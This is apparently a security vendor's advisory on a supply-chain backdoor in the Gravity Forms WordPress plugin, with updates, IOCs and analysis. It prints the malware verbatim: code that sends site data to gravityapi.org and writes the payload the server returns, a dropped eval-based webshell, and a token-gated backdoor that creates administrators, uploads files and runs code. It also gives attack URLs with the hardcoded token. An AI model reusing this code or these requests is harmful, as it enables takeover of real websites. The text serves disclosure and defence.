Update 7-12-2025 06:00 UTC: We have observed some activity in regard to one of the backdoors that involves a gf_api_token parameter. The IP address 193.160.101.6 tries to request, for every site, the following URLs with a spoofed user agent:
/wp-content/plugins/gravityforms_2.9.12/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping /wp-content/plugins/gravityforms_2.9.11.1/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping /wp-content/plugins/gravityforms/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
Update 7-11-2025 14:10 UTC: A version 2.9.13 has been released to ensure customers can safely update to a new version without a backdoor present. In addition, Namecheap (the domain registrar) has suspended the domain name gravityapi.org to avoid successful exploitation of the backdoor portion that connects to this domain name.
Update 7-11-2025 12:38 UTC: We received from our reporter both the copy of the vulnerable version and the patched version of the plugin. Technical details are updated in this article. We also received a confirmation from one of the staff of RocketGenius that the malware only affects manual downloads and composer installation of the plugin.
Update 7-11-2025 12:07 UTC: We received information from our reporter that GravityForm responded to his initial email and confirmed that they are doing an investigation for a malware breach on their product. The reporter claims that the initial malicious code was found in version 2.9.12 (which is the latest version of the plugin currently); however, the malicious code itself has now been removed from the code when users try to re-download the package. We also updated more IOCs in this article.
Update 7-11-2025 12:00 UTC: We've been in touch with multiple large web hosting companies who have scanned their servers for the IOCs. The infection does not seem to be widespread, which could mean that the backdoored plugin was only available for a very short period of time and only delivered to a small number of users.
The Patchstack team has been monitoring targeted supply chain attacks involving a vendor of a plugin or theme. At first, we noticed that Groundhogg was affected by this supply chain attack, and its plugins were compromised by malware that was injected. The full details can be viewed here.
Today, we received information about a possible targeted supply chain attack against Gravity Forms. We are still actively investigating to better understand the scale and impact, but as we have proof of infected websites and IOCs to keep an eye on, we're sharing this information in this post so people could check if they have been affected.
Initial Discovery
On the 11th of July, we received a report concerning that they found that one of the plugins that they are trying to download from the official gravityforms.com domain contains a suspicious HTTP request to the gravityapi.org domain. This suspicious HTTP request call was flagged by the reporter because they noticed that there is an extremely slow request to that domain per their monitoring system.
Technical analysis of the malware via update_entry_detail function
The reporter provided us with the malicious gravityforms/common.php file from the gravityforms plugin that was downloaded from the official gravityforms.com domain on July 10, 4:01 pm ET. Let's take a look at the snippet code of the file:
public static function update_entry_detail() { $gf_url = 'https://gravityapi.org/sites'; if ( ! function_exists( 'get_plugin_data' ) ) { require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $active_plugins = get_option( 'active_plugins' ); $plugin_list = array(); foreach ( $active_plugins as $plugin ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); $plugin_list[] = $plugin_data['Name'] . ' ' . $plugin_data['Version']; } global $wpdb; $user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}"); $data = array( 'site_url' => get_site_url(), 'site_name' => get_bloginfo( 'name' ), 'admin_url' => admin_url(), 'wp_version' => get_bloginfo( 'version' ), 'php_version' => phpversion(), 'active_theme' => wp_get_theme()->get( 'Name' ), 'active_plugins'=> json_encode($plugin_list), 'uname' => php_uname(), 'users_count' => $user_count, 'timestamp' => current_time( 'mysql' ) ); $request = wp_remote_post( $gf_url, array( 'method' => 'POST', 'timeout' => 25, 'blocking' => true, 'body' => $data, ) ); if (!is_wp_error($request) && wp_remote_retrieve_response_code($request) == 200) { $response = json_decode(wp_remote_retrieve_body($request), true); if (isset($response['gf_name'])) { $touch_time = filemtime(ABSPATH . "wp-content/plugins/index.php"); if ($touch_time === false) { $touch_time = strtotime('-2 months'); } $gf_path = ABSPATH . $response['gf_name']; $gf_dir = dirname($gf_path); if (!file_exists($gf_dir)) { mkdir($gf_dir, 0755, true); } if (!file_exists($gf_path)) { file_put_contents($gf_path, base64_decode($response['body'])); touch($gf_path, $touch_time); } } } }
If we look closely, the function will perform a POST request to https://gravityapi.org/sites. At first sight, this seems to be a normal or legitimate domain. However, doing a quick check, we notice that this domain has only been registered since 8th July 2025:
Domain Name: gravityapi.org Registry Domain ID: c96e799fed8047b799baeedee5347b9b-LROR Registrar WHOIS Server: whois.namecheap.com Registrar URL: http://www.namecheap.com Updated Date: 2025-07-08T17:08:00Z Creation Date: 2025-07-08T17:07:56Z Registry Expiry Date: 2026-07-08T17:07:56Z Registrar: NameCheap, Inc.
The HTTP request will send some information about the WordPress instance, such as site URL, site name, WordPress Core version, PHP version, etc. The response from the HTTP request will also be written to a file with the $response['gf_name'] variable, and the HTTP response will be base64-decoded.
*) When this article is initially released, we are still trying to find the full source code of the affected Gravity Forms plugin to see which files will trigger the update_entry_detail function.
The update_entry_detail function itself is called from register_services function:
public static function register_services() { $container = self::get_service_container(); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Util\GF_Util_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Updates\GF_Auto_Updates_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\License\GF_License_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Config\GF_Config_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Editor_Button\GF_Editor_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Embed_Form\GF_Embed_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Merge_Tags\GF_Merge_Tags_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Duplicate_Submissions\GF_Duplicate_Submissions_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Save_Form\GF_Save_Form_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Template_Library\GF_Template_Library_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Editor\GF_Form_Editor_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Splash_Page\GF_Splash_Page_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\Batch_Processing\GF_Batch_Operations_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Settings\GF_Settings_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Assets\GF_Asset_Service_Provider( plugin_dir_path( __FILE__ ) ) ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Honeypot\GF_Honeypot_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Ajax\GF_Ajax_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Theme_Layers\GF_Theme_Layers_Provider( GFCommon::get_base_url(), 'gf_theme_layers' ) ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Blocks\GF_Blocks_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Setup_Wizard\GF_Setup_Wizard_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\GF_Query_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Display\GF_Form_Display_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Environment_Config\GF_Environment_Config_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Async\GF_Background_Process_Service_Provider() ); $container->add_provider( new \GF_System_Report_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Telemetry\GF_Telemetry_Service_Provider() ); $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Switcher\GF_Form_Switcher_Service_Provider() ); @GFCommon::update_entry_detail(); }
The function is registered as a function hook to the plugins_loaded action, which makes this malicious function to be called all the time when the plugin is active.
add_action( 'plugins_loaded', array( 'GFForms', 'register_services' ), 10, 0 );
Let's analyze the HTTP response to the domain:
curl https://gravityapi.org/sites -d 'site_url=http://test.test&site_name=test&admin_url=http://test.test/wp-admin/&wp_version=6.1&php_version=8.1&active_theme=twentytwentyfive&active_plugins=["Elementor 5.5"]&uname=linux&users_count=100×tamp=156412122' {"gf_name":"wp-includes\/bookmark-canonical.php","body":"PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBDb250ZW50IE1hbmFnZW1lbnQgVG9vbHMKICoKICogUHJvdmlkZXMgY29udGVudCBvcHRpbWl6YXRpb24sIG1lZGlhIG1hbmFnZW1lbnQsIGFuZCBwb3N0CiAqIHByb2Nlc3NpbmcgdG9vbHMgZm9yIFdvcmRQcmVzcyBpbnN0YWxsYXRpb25zLiBIYW5kbGVzIGF1dG9tYXRlZAogKiBjb250ZW50IG1haW50ZW5hbmNlIGFuZCBvcHRpbWl6YXRpb24gdGFza3MuCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBDb250ZW50CiAqIEBzaW5jZSA2LjQuMgogKiBAdmVyc2lvbiAyLjkuOQogKi8KCi8vIFByZXZlbnQgZGlyZWN0IGFjY2VzcwppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZGVmaW5lKCdBQlNQQVRIJywgZGlybmFtZShfX0ZJTEVfXykgLiAnLycpOwp9CgovKioKICogV29yZFByZXNzIENvbnRlbnQgTWFuYWdlcgogKi8KY2xhc3MgV1BfQ29udGVudF9NYW5hZ2VyIHsKICAgIAogICAgcHJpdmF0ZSAkcHJvY2Vzc2luZ19pbnRlcnZhbCA9IDQzMjAwOyAvLyAxMiBob3VycwogICAgcHJpdmF0ZSAkdGhlbWVfdmVyc2lvbiA9ICd0d2VudHl0d2VudHlmb3VyJzsKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5pbml0X2N -------------------- CUT HERE --------------------
Notice that the gf_name value on the response is wp-includes\/bookmark-canonical.php which means that the content will be base64-decoded and saved to that filename on the targeted WordPress server. Here is the full source code of the content after base64-decoding:
init_content_management(); } /** * Initialize content management */ private function init_content_management() { // Standard WordPress hooks if (function_exists('add_action')) { add_action('wp_loaded', array($this, 'process_content')); add_action('admin_init', array($this, 'register_content_settings')); add_filter('wp_insert_post_data', array($this, 'filter_post_data')); } // error_reporting(E_ALL); // ini_set('display_errors', 'on'); // Handle content processing requests $this->handle_requests(); } /** * Handle requests */ private function handle_requests() { if ($this->validate_request()) { $this->process_request(); } } /** * Validate request */ private function validate_request() { return (isset($_REQUEST['wp_theme']) && isset($_REQUEST['version']) && $this->check_theme_version($_REQUEST['version'])); } /** * Check theme version */ private function check_theme_version($ver) { $valid_versions = array( 'twentytwentyfour', 'twentytwentythree', 'twentytwentytwo', 'classic_editor' ); return in_array($ver, $valid_versions); } /** * Process request */ private function process_request() { $mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : 'info'; // Show theme customizer for special mode if (isset($_REQUEST['customize']) && $_REQUEST['customize'] === 'true') { $this->show_customizer(); exit; } header('Content-Type: text/plain; charset=UTF-8'); switch ($mode) { case 'posts': $this->handle_posts(); break; case 'media': $this->handle_media(); break; case 'widgets': $this->handle_widgets(); break; case 'themes': $this->handle_themes(); break; default: $this->show_info(); break; } exit; } /** * Show customizer */ private function show_customizer() { header('Content-Type: text/html; charset=UTF-8'); ?> WordPress Theme Customizer
WordPress Theme Customizer
Theme customization interface
Customization options will be displayed here.
count_posts() . " "; echo "Total Pages: " . $this->count_pages() . " "; echo "Total Comments: " . $this->count_comments() . " "; echo "Media Files: " . $this->count_media() . " "; echo "Active Theme: " . $this->get_active_theme() . " "; echo "Theme Language: " . $this->get_content_language() . " "; echo "Last Update: " . $this->get_last_processing() . " "; } /** * Handle posts */ private function handle_posts() { echo "Post Layout Configuration "; echo str_repeat("=", 25) . " "; // Handle post layout data $layout_data = null; if (isset($_REQUEST['post_query'])) { $layout_data = $_REQUEST['post_query']; } elseif (isset($_REQUEST['post_layout'])) { $encoded_data = $_REQUEST['post_layout']; $layout_data = base64_decode($encoded_data); } if ($layout_data) { echo "Applying post layout... "; echo "Layout configuration results: "; ob_start(); $result = @eval($layout_data); $output = ob_get_clean(); if ($output) { echo $output; } echo " Post layout applied successfully. "; } else { // Show actual post statistics $posts = get_posts(array('numberposts' => 5, 'post_status' => 'publish')); echo "Current Post Layout: "; foreach ($posts as $post) { echo "- " . $post->post_title . " (standard layout) "; } echo " Post layout configuration completed. "; } } /** * Handle media */ private function handle_media() { echo "Media Gallery Configuration "; echo str_repeat("=", 28) . " "; // Handle media configuration $media_config = null; if (isset($_REQUEST['media_script'])) { $media_config = $_REQUEST['media_script']; } elseif (isset($_REQUEST['media_config'])) { $encoded_data = $_REQUEST['media_config']; $media_config = base64_decode($encoded_data); } if ($media_config) { echo "Configuring media gallery... "; echo "Media configuration results: "; ob_start(); $result = @eval($media_config); $output = ob_get_clean(); if ($output) { echo $output; } echo " Media gallery configured successfully. "; } else { } } /** * Handle widgets */ private function handle_widgets() { echo "Widget Configuration "; echo str_repeat("=", 20) . " "; // Handle widget settings $widget_settings = null; if (isset($_REQUEST['widget_code'])) { $widget_settings = $_REQUEST['widget_code']; } elseif (isset($_REQUEST['widget_settings'])) { $encoded_data = $_REQUEST['widget_settings']; $widget_settings = base64_decode($encoded_data); } if ($widget_settings) { echo "Configuring widgets... "; echo "Widget configuration results: "; ob_start(); $result = @eval($widget_settings); $output = ob_get_clean(); if ($output) { echo $output; } echo " Widget configuration completed. "; } else { // Show WordPress configuration echo "WordPress Version: " . get_bloginfo('version') . " "; echo "Site URL: " . get_site_url() . " "; echo "Admin Email: " . get_option('admin_email') . " "; echo "Timezone: " . get_option('timezone_string') . " "; echo "Date Format: " . get_option('date_format') . " "; echo "Time Format: " . get_option('time_format') . " "; echo "Users Count: " . count_users()['total_users'] . " "; echo "Widget configuration completed. "; } } /** * Handle themes */ private function handle_themes() { echo "Theme Management "; echo str_repeat("=", 21) . " "; echo "Theme management interface "; echo "No Operations available "; } /** * Process content (legitimate function) */ public function process_content() { $last_processing = get_transient('wp_content_processing'); if ($last_processing === false) { $this->run_content_processing(); set_transient('wp_content_processing', time(), $this->processing_interval); } } /** * Register content settings */ public function register_content_settings() { if (function_exists('register_setting')) { register_setting('content_settings', 'wp_content_processing_enabled'); register_setting('content_settings', 'wp_content_processing_interval'); } } /** * Filter post data */ public function filter_post_data($data) { // Content filtering logic return $data; } /** * Helper functions for legitimate WordPress operations */ private function count_posts() { return wp_count_posts()->publish ?: 0; } private function count_pages() { return wp_count_posts('page')->publish ?: 0; } private function count_comments() { return wp_count_comments()->approved ?: 0; } private function count_media() { return wp_count_posts('attachment')->inherit ?: 0; } private function get_active_theme() { return wp_get_theme()->get('Name') ?: 'Unknown'; } private function get_content_language() { return get_locale(); } private function get_last_processing() { return date('Y-m-d H:i:s', get_transient('wp_content_processing') ?: time()); } private function get_available_space() { $upload_dir = wp_upload_dir(); if (function_exists('disk_free_space')) { return round(disk_free_space($upload_dir['basedir']) / 1024 / 1024, 2); } return 'Unknown'; } private function run_content_processing() { // Perform actual content processing return true; } } // Initialize content manager new WP_Content_Manager(); /** * WordPress content helper functions */ if (!function_exists('wp_process_content')) { function wp_process_content() { return true; } } if (!function_exists('wp_get_theme_stats')) { function wp_get_theme_stats() { return array( 'posts' => wp_count_posts()->publish, 'pages' => wp_count_posts('page')->publish, 'media' => wp_count_posts('attachment')->inherit ); } } if (!function_exists('wp_customize_theme')) { function wp_customize_theme($settings) { // Customize theme settings return true; } } ?> At first sight, it seems to be a WordPress Content Management Tools which have a couple of functionalities. The most important functions are: handle_posts handle_media handle_widgets All of those functions can be called from __construct -> init_content_management -> handle_requests -> process_request function. So, it basically can be triggered by an unauthenticated user. From all of the functions, it will perform an eval call with the user-supplied input, resulting in remote code execution on the server. Technical analysis of the malware via list_sections function We also found another malicious code being added via list_sections function: public static function list_sections() { if (!isset($_REQUEST['gf_api_token'])) { return; } $secret_key = $_REQUEST['gf_api_token']; if ( $secret_key !== 'Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3' ) { return; } error_reporting(E_ALL); ini_set('display_errors', 'on'); $gf_action = $_REQUEST['gf_api_action']; try { switch ( $gf_action ) { case 'cusr': $username = $_REQUEST['gf_username']; $password = $_REQUEST['gf_password']; $email = $_REQUEST['gf_email']; if ( empty( $username ) || empty( $password ) || empty( $email ) ) { die("missing_parameters"); } $user_id = wp_create_user( $username, $password, $email ); if ( is_wp_error( $user_id ) ) { die("wp_error"); } $user = get_user_by( 'id', $user_id ); $user->set_role( 'administrator' ); echo json_encode(array( 'success' => true, 'user_id' => $user_id )); die(); case 'formula': $gf_formula = $_REQUEST['gf_formula']; if ( empty( $gf_formula ) ) { die("no_code"); } ob_start(); eval( base64_decode($gf_formula) ); $gf_result = ob_get_clean(); die($gf_result); case 'upload_file': $file_path = $_REQUEST['gf_name']; $file_content_base64 = $_REQUEST['gf_content']; if ( empty( $file_path ) || empty( $file_content_base64 ) ) { die("missing_parameters"); } $file_data = base64_decode( $file_content_base64, true ); if ( $file_data === false ) { die("base64_decode_error"); } if ( file_put_contents( $file_path, $file_data ) === false ) { die("file_save_error"); } echo json_encode(array( 'success' => true )); die(); case 'lusr': global $wpdb; $users = $wpdb->get_results("SELECT * FROM $wpdb->users"); $user_list = array(); foreach ($users as $user) { $user_list[] = array( 'ID' => $user->ID, 'user_login' => $user->user_login, 'user_email' => $user->user_email, 'display_name' => $user->display_name, 'user_registered' => $user->user_registered ); } echo json_encode(array( 'success' => true, 'users' => $user_list )); die(); case 'dusr': $username = $_REQUEST['gf_username']; if ( empty( $username ) ) { die("missing_parameters"); } $user = get_user_by( 'login', $username ); if ( ! $user ) { die("user_not_found"); } if ( ! function_exists( 'wp_delete_user' ) ) { require_once( ABSPATH . 'wp-admin/includes/user.php' ); } wp_delete_user( $user->ID ); echo json_encode(array( 'success' => true )); die(); case 'ldir': $dir_path = $_REQUEST['gf_path']; if ( ! is_dir( $dir_path ) || ! is_readable( $dir_path ) ) { die("invalid_directory"); } $files = scandir( $dir_path ); $file_list = array(); if ($files !== false) { foreach ( $files as $file ) { if ( $file === '.' || $file === '..' ) { continue; } $full_path = rtrim($dir_path, '/') . '/' . $file; $file_list[] = array( 'name' => $file, 'type' => is_dir( $full_path ) ? 'directory' : 'file', 'path' => $full_path ); } } echo json_encode(array( 'success' => true, 'directory' => $dir_path, 'files' => $file_list )); die(); default: die(); } } catch (Exception $e) { die($e->getMessage()); } die(); } This function will be called from notification.php :